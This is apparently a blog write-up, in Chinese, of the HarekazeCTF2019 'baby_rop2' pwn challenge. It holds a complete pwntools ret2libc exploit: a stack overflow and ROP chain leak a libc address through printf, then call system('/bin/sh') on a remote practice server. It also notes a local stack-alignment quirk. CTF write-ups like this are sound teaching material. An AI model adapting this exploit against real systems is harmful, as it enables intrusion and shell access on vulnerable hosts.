pwn | [HarekazeCTF2019]baby_rop2
pwn | [HarekazeCTF2019]baby_rop2
x64 ret2libc 给了libc
这个题有一点点问题,就是我本机ubuntu20栈溢出跳不出去。。。很怪,就直接打remote了。
补充
重新调试了一下,本机的问题(如下)
rbp-4的地方是一个变量v6
所以读取完了以后对v6的操作将我们的输入给断开了。
但是这理论上是不影响我们栈溢出的啊?
手动给栈上赋值发现是可以跳转的,很怪
然后gdb附加了pwntools打开的那个进程,发现问题是在调用printf的时候出现的,嘛,就是奇奇怪怪的问题可能是栈没对齐什么的吧,基本上就是这样了
网上很多答案用printf的时候还先pop一个%s的格式串,纯属画蛇添足。
exp:
from pwn import *
from LibcSearcher.LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')
# p = process('./babyrop2')
p = remote('node4.buuoj.cn', 27532)
p_plt_printf = elf.plt['printf']
p_got_read = elf.got['read']
p_plt_read = elf.plt['read']
p_poprdiret = 0x0000000000400733
p_main = 0x0000000000400636
p_libc_system = libc.symbols['system']
p_libc_binsh = next(libc.search(b'/bin/sh'))
p_libc_read = libc.symbols['read']
p.recvuntil('? ')
# leak addr of printf
# rubbish + poprdiret + addr_to_pop_into_rdi + ret_to_printf + retaddr_of_printf
payload = b'M'*(0x20+8) + p64(p_poprdiret) + p64(p_got_read) + p64(p_plt_printf) + p64(p_main)
p.sendline(payload)
p.recvuntil('!\n')
tmp = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(tmp)) # get the addr of read
# calculate addr
p_libc_base = tmp - p_libc_read
p_system = p_libc_base + p_libc_system
p_binsh = p_libc_base + p_libc_binsh
p.recvuntil('? ')
payload = b'M'*(0x20+8) + p64(p_poprdiret) + p64(p_binsh) + p64(p_system)
p.sendline(payload)
p.interactive()
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16969116.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com